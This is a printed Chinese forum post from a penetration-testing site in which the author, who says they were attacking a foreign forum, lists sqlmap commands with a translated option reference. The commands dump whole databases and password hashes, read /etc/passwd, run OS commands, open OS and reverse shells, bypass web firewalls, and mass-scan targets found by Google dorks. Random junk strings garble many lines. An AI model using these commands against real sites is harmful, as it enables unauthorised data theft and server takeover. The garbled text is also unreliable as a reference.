中国网络渗透测试联盟

标题: sqlmap注入命令的使用方法 [打印本页]

作者: admin    时间: 2013-4-4 22:26
标题: sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、4 g3 q' A# a+ n- C' S# w9 Y" u$ I0 H
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称6 n( N( J' ]- X& a, a, e; H: a4 {
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名. C$ S2 c/ @7 }7 f# @' Q5 K: h. G
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段' b5 y- z/ I, ~( X% w' v+ \
* v6 ]5 m7 D- n8 u7 s  h2 k" p- ^# n
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v4 Z* [. E& A* Y* m! Q+ U7 `+ o
0 #获取字段内容
8 e$ K; h  G+ o* K, K2 t" c  n  F
4 P! e; a5 F2 z7 E& l/ v6 |******************信息获取******************: F/ |  ~' M! o$ u
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型! R& B+ t1 @& ?7 l' [
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
9 P7 d: |' u7 a9 W0 Xsqlmap -u “http://url/news?id=1″ –dbs#列数据库5 X: l1 C* _5 O, b: \8 S, a3 \; _
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码8 t! _5 |* d  L+ [6 L
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码2 U* D  C: U- q4 J* N. W/ q
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”2 T6 ]( H) n; u" B
–start 1 –stop 20 #列出指定字段,列出20 条
; m/ ~% S) D2 K5 ]7 bsqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表) v" |4 B% i9 ]9 t, S
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
8 k  E9 t4 ], b5 s; z/ ssqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
5 z2 Z  p+ P; k7 Asqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
# |$ J' U' Q1 Asqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
* s$ ^8 y1 _: y7 v; j; Zsqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录) m5 K2 g$ X2 y/ d
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入+ p6 m, \) Y$ r' z
sqlmap -u “http://url/news?id=1″-b #获取banner信息
. z+ {+ m5 g5 V  qsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
* e3 ^9 h6 M1 y3 H* ~sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型8 T6 l, E' L2 E5 x* K% D6 f
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入" F0 N5 U- @, T. d( _1 h/ F
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
( d8 I; V& N# F5 q5 E. g! b+ B4 dsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令0 `) Z! M  t$ [9 f3 Z1 |
sqlmap -u “http://url/news?id=1″ –file /etc/passwd4 F2 B: `5 N" I! I" E
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
- N/ o7 E' [$ u$ ?* psqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
7 g4 v( ?9 r' W( k/ y8 j0 Q4 Z/ ~sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表/ _7 G! ?- E9 y: o  p# F" D( m
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
# ^9 B# o& s# ?: P" N; f  ~sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度' ^5 _& K0 T- w* X
***********高级用法*************
* q$ u5 K) M. j/ E! `3 s6 I8 h-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入" Y/ ?# d1 z+ G( O9 ?+ v/ N
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问9 F0 {3 ~9 O" N7 T4 N0 C
–technique   测试指定注入类型\使用的技术( ~% ?  }# x3 T) @
不加参数默认测试所有注入技术
: X4 ~6 V" l& k! D/ ?2 E•     B: 基于布尔的SQL 盲注
  F6 L0 N7 L( M* I: r) s•     E: 基于显错sql 注入
5 z; C' ?! ~% c•     U: 基于UNION 注入
, h7 b. T6 l3 u  Q7 Y•     S: 叠层sql 注入
' o8 P# v# K" [! N2 Z* b" ~( w•     T: 基于时间盲注
8 Q( j$ ?5 Y9 l5 \* t; Z5 n; I–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()* s! l3 |$ j+ N% K* U
–tamper 插件所在目录
" B  j) }# }# h9 S% \# Y' s; |- R\sqlmap-dev\tamper
0 L/ `6 D7 x& L% Lsqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
! o# e4 \) r6 q8 s6 Glevel 执行测试等级 攻击实例:
" F8 O5 A6 O! c! n0 A& ]) i: sSqlmap -u “http://url/news?id=1&Submit=Submit”
- v5 ~3 {7 O* p0 |, z, x–cookie=”PHPSESSID=41aa833e6d0d; L& R# N0 G5 t4 Y: I& o+ `- i
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
9 J( E5 r7 J+ H- r* o) j–password
2 Y" U$ m+ @  a8 N参考文档:http://sqlmap.sourceforge.net/doc/README.html3 D( _9 L% G$ j# v% I+ f+ j- h
***********安装最新版本*************
1 L. s( d: N4 w9 W) S2 K& Nubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版5 F2 D9 V2 k4 E3 l7 F2 J
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
" U4 L, |2 b% n  S安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件2 q6 V! I" o2 m4 Z
sudo vim /home/当前用户/.bashrc7 q- v$ p0 L6 u4 }0 c  W9 U0 E
#任意位置加上:' p6 A( b1 w' E0 \3 l. I( z1 s
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效0 s: t) \! x3 U% Z( z: a: v6 c0 N2 N
如果想对所有用户有效 可设置全局 编辑下面的文件1 ?9 U6 e& f2 L! n( F5 D
vim /etc/profile# H4 a; a: G, }) N8 _& u) x
同样加上:- y, |% k0 v& |! z& S
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效- i4 e2 i9 j) V) t1 m
******************windows 7 (x64) sqlmap install (SVN)************
$ z5 Q& |  c4 b: E3 f5 e  c: Vhttp://www.python.org/getit/ 安装python/ C( ?. C7 b4 n
http://www.sliksvn.com/en/download 安装windows svn client
0 G. S& S& D; F$ ~6 v: H9 Jsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
$ }+ S' L; D. k3 ~+ E3 N安装sqlmap$ t, L5 `" J5 [, `' h
*修改环境变量
, ]2 c9 n1 q% q+ ?# E% x# {–version             显示程序的版本号并退出0 F/ _; {* j1 @. C5 i! E
-h, –help            显示此帮助消息并退出3 R, N$ n$ t- i- p  J9 b( W1 v
-v VERBOSE            详细级别:0-6(默认为1)
( N. X* A. d  I" B5 iTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
3 R8 x; ?  j' i6 W5 v-d DIRECT           直接连接到数据库。" M' \. E, Y: ~- l0 ^3 I
-u URL, –url=URL   目标URL。& p3 e2 q0 P* P! p7 {9 t8 X
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
! c1 X6 O6 d* B3 ?& Y/ l-r REQUESTFILE      从一个文件中载入HTTP 请求。8 Z% {/ ?# A" u) N- \2 ?
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。. l) `! r8 E' A+ }" c) A' H' _5 a
-c CONFIGFILE       从INI 配置文件中加载选项。
6 ?" }' T) M( _: J) IRequest(请求)::
* N, r5 N% O7 Q' w: e这些选项可以用来指定如何连接到目标URL。4 I6 ^8 k+ ]. u0 I3 q" f. M
–data=DATA         通过POST 发送的数据字符串
# j( O6 _+ n& l4 h–cookie=COOKIE     HTTP Cookie 头
! t' s- W1 M" |1 P0 y& D2 F" b7 e–cookie-urlencode  URL 编码生成的cookie 注入
  d9 a: T: n9 |! Q–drop-set-cookie   忽略响应的Set –Cookie 头信息4 n4 n* F+ t: p% [$ ?# o3 G3 o% z6 ?& P
& s) w; r% E6 T" @. x4 y
–user-agent=AGENT  指定  HTTP User –Agent 头
6 B( r. m/ I6 k( L* m/ _–random-agent      使用随机选定的HTTP User –Agent 头
8 e- g2 y' g) b9 y( a: _–referer=REFERER   指定  HTTP Referer 头2 I1 X% E  m2 w
–headers=HEADERS   换行分开,加入其他的HTTP 头' d& n/ o% l. n7 V9 I
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)" }9 p" B& W& p: K1 [
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
' f# ?8 k- o- c: s2 w- x–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
6 ~% W+ b6 ^) N. t–proxy=PROXY       使用HTTP 代理连接到目标URL" u8 V% S; S8 Q- i8 F
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)6 @( B) x0 D5 ]+ b
–ignore-proxy      忽略系统默认的HTTP 代理6 s! S8 S% _/ t6 _  I
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
: L; {  J9 v% [4 x–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)5 P4 C& s6 X( m5 i1 S) `& X& k
–retries=RETRIES   连接超时后重新连接的时间(默认3)
9 K1 N% A: t% F6 b3 k, o) i, u1 S( W–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式- A$ j1 ?3 q4 g" i
–safe-url=SAFURL   在测试过程中经常访问的url 地址3 N" ]: U, b3 d: Z; M( F2 Y+ z
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL, t6 K4 k" ?1 N+ H5 s8 t
Optimization(优化): 这些选项可用于优化SqlMap 的性能。7 u0 |5 u' h. e( t- ]8 q/ T/ @6 @
-o                  开启所有优化开关
' \+ r  Z$ ]8 i! e  m! j–predict-output    预测常见的查询输出
7 s7 @. u1 ^# S( p4 }7 I–keep-alive        使用持久的HTTP(S)连接+ L* G; ]; S' _% k& e
–null-connection   从没有实际的HTTP 响应体中检索页面长度
5 |, S1 w9 W- F/ G9 Q! [- O–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
' I0 n1 T7 Q9 n/ {2 hInjection(注入):
& t1 E- l) }9 E/ r' |这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。) I! D5 T( [$ q  X  o5 h7 z. [  C6 E
-p TESTPARAMETER    可测试的参数(S)
3 v0 Y4 W5 b( |" K6 @- ]–dbms=DBMS         强制后端的DBMS 为此值% p  W8 C8 E8 ?0 ?5 Q7 Y
–os=OS             强制后端的DBMS 操作系统为这个值
2 R0 d3 ?- l4 ^& S–prefix=PREFIX     注入payload 字符串前缀
5 h, D/ W- `. G$ B–suffix=SUFFIX     注入 payload 字符串后缀
3 f  I2 s8 F. Q: p0 @( H. J7 J–tamper=TAMPER     使用给定的脚本(S)篡改注入数据) x7 }* d( c5 U& w5 T2 c7 {1 X
Detection(检测):  K. y% G. T9 c- e
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
* l4 N3 Q7 a# }8 p6 Y' X+ w9 P: }–level=LEVEL       执行测试的等级(1-5,默认为1)! r+ N; D8 p6 y' A+ E
–risk=RISK         执行测试的风险(0-3,默认为1)
: P/ }, ?. A0 s2 i3 r5 s& O$ A–string=STRING     查询时有效时在页面匹配字符串
3 b* r8 C" j* Y% _7 J- c5 x5 j9 l) N–regexp=REGEXP     查询时有效时在页面匹配正则表达式; T( ]5 b2 a# P9 o
–text-only         仅基于在文本内容比较网页
4 f: b  u1 n( y# A6 P( kTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
4 M' l, R5 \/ T* L. g. u: M+ h–technique=TECH    SQL 注入技术测试(默认BEUST)
( E; Q; e4 p% R( m3 Y–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
4 S2 Y2 A8 X0 Z–union-cols=UCOLS  定列范围用于测试UNION 查询注入
; \& v  m" v$ J% v% S! X–union-char=UCHAR  用于暴力猜解列数的字符4 l: o! x% `. n. L8 W* m* W
Fingerprint(指纹):
) l3 R4 s) I  r& f-f, –fingerprint     执行检查广泛的DBMS 版本指纹
6 t7 ?* |2 A: m1 Q" tEnumeration(枚举):4 }7 ]+ q2 {9 b7 ^& u
4 n6 T) ?3 P' J+ P: v
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。& ^  G( D# z5 c; w
-b, –banner        检索数据库管理系统的标识: t6 r) n& u2 F0 E& |2 T
–current-user      检索数据库管理系统当前用户
. [9 p# g' B* H9 m% J, y: Y–current-db        检索数据库管理系统当前数据库: ?9 s. u2 v3 `, z/ @
–is-dba            检测DBMS 当前用户是否DBA! ~2 S3 ~. B" S
–users             枚举数据库管理系统用户
8 w" y2 O: q. ~5 g! T+ J# p–passwords         枚举数据库管理系统用户密码哈希
7 r2 p  m; J# `7 B7 F–privileges        枚举数据库管理系统用户的权限3 }/ s9 [+ \! W) I" [
–roles             枚举数据库管理系统用户的角色' L" r) M0 v, F. h* O$ y1 o
–dbs               枚举数据库管理系统数据库
2 W. ~. u3 d  H/ f/ J) L, Z$ B  u–tables            枚举的DBMS 数据库中的表7 ?  i# ]5 u  Q
–columns           枚举DBMS 数据库表列, i+ |& t* a% N8 Z) P0 u! G* K
–dump              转储数据库管理系统的数据库中的表项5 D! f  [: o7 u3 ?* [. u
–dump-all          转储所有的DBMS 数据库表中的条目5 r" n9 o& M* F$ n7 o
–search            搜索列(S),表(S)和/或数据库名称(S)
% F# P" M4 t: y" o' P-D DB               要进行枚举的数据库名; L3 z4 z' _7 B) B  @
-T TBL              要进行枚举的数据库表
# t/ p. O5 M! V; ?-C COL              要进行枚举的数据库列: x4 c1 ~. p1 q- ?# @
-U USER             用来进行枚举的数据库用户
: _. M/ C2 M* z* ^! Z–exclude-sysdbs    枚举表时排除系统数据库
, s- \1 x  Z  N# Q–start=LIMITSTART  第一个查询输出进入检索
" G1 y) G/ u3 T8 W: p3 t: ]–stop=LIMITSTOP    最后查询的输出进入检索' t& x; H3 O5 e2 B; T
–first=FIRSTCHAR   第一个查询输出字的字符检索
7 ]* \) S2 ~4 T+ S- o* K–last=LASTCHAR     最后查询的输出字字符检索' n$ l: M4 k  }8 }
–sql-query=QUERY   要执行的SQL 语句0 N. o0 Q7 S; \( O* q8 K( b
–sql-shell         提示交互式SQL 的shell
5 c; |9 @; t, t" K  u8 S- \2 rBrute force(蛮力): 这些选项可以被用来运行蛮力检查。! ~& S7 ]8 `9 h
–common-tables     检查存在共同表
1 W" H, M1 x: ^: _) h& d0 m–common-columns    检查存在共同列; h( H$ Z# _/ U) S; m
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
) g) w8 r7 @) `4 B7 p–udf-inject        注入用户自定义函数
$ @1 r' C0 {; j! n–shared-lib=SHLIB  共享库的本地路径& R; \9 c* ~3 h3 k; B1 L( s
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
1 {: ^. d1 G3 U+ H1 Z9 Q–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
9 I1 I0 C& l1 u: o7 T4 I–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
1 s( Y8 ~" f  w–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径9 s3 P' t# k) l" F1 t9 l- F
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
% N! \# P8 p* i4 w& A6 e–os-cmd=OSCMD      执行操作系统命令
) n& T) q" k; u, W* j2 N+ a" j–os-shell          交互式的操作系统的shell& |1 q, S: m. z9 m+ A8 g
–os-pwn            获取一个OOB shell,meterpreter 或VNC
( a" K3 T% i3 _/ }, o% @–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
3 k& |1 S" c% w–os-bof            存储过程缓冲区溢出利用
) |% o/ y: [0 g. `–priv-esc          数据库进程用户权限提升
0 H  {# G4 l! A8 ^; s0 k2 M7 n# w–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
7 a- d( h3 g4 F2 [–tmp-path=TMPPATH  远程临时文件目录的绝对路径
! z% h/ `! s4 H- |! g$ G 1 d: G+ f/ u" U
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
) i2 f# L4 D% m% |; N/ m! b: ]  X* j–reg-read          读一个Windows 注册表项值& k, I* k5 g/ @
–reg-add           写一个Windows 注册表项值数据. A0 s6 N5 }4 H& a! D
–reg-del           删除Windows 注册表键值
5 Z  S9 k+ h% G$ r8 B; c1 k–reg-key=REGKEY    Windows 注册表键
/ J6 ?( Z+ m, |# x8 N–reg-value=REGVAL  Windows 注册表项值: Q* W/ `$ n9 T9 u0 |# W
–reg-data=REGDATA  Windows 注册表键值数据2 u, `; N) E' _. K# ]4 D5 J4 m
–reg-type=REGTYPE  Windows 注册表项值类型+ V" E) X. P9 m2 [  y
General(一般): 这些选项可以用来设置一些一般的工作参数。' K6 r3 Z: V1 i2 ^
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中% P( q/ J9 z5 @  O' q9 U, ?& Z( d& K
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
( ]4 S/ [: r0 f" F8 x–flush-session     刷新当前目标的会话文件
, s* M" w5 {( m* {! p& R$ {–fresh-queries     忽略在会话文件中存储的查询结果
: B2 d, p# J+ V5 l–eta               显示每个输出的预计到达时间
0 L' C4 A) `, H0 ]% S2 t–update            更新SqlMap; v+ n8 e' v( e4 @# i
–save              file 保存选项到INI 配置文件2 H! {* T+ B5 f6 G1 a8 d: P, m! O" m! H
–batch             从不询问用户输入,使用所有默认配置。
' A3 m0 |6 Q) ^6 vMiscellaneous(杂项):! n) C: ~$ y( r+ ]" X
–beep              发现SQL 注入时提醒
8 t) U0 b3 D3 M8 `: |–check-payload     IDS 对注入payloads 的检测测试
, v% u! F6 Z& X8 O- c2 l–cleanup           SqlMap 具体的UDF 和表清理DBMS# ]8 T2 J9 x) A! d$ H
–forms             对目标URL 的解析和测试形式
+ |8 ?5 u( Y4 v6 \6 Q–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果3 k  X5 w% i# P; K1 j* S; H  P
–page-rank         Google dork 结果显示网页排名(PR)3 @4 t& Q- f$ G0 |+ H: @, ~
–parse-errors      从响应页面解析数据库管理系统的错误消息
* ~  @  s3 H* ~1 `9 E* w–replicate         复制转储的数据到一个sqlite3 数据库' F1 Z/ H4 i4 a. w
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
0 ~. h' H8 o5 L5 i8 F  J–wizard            给初级用户的简单向导界面




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2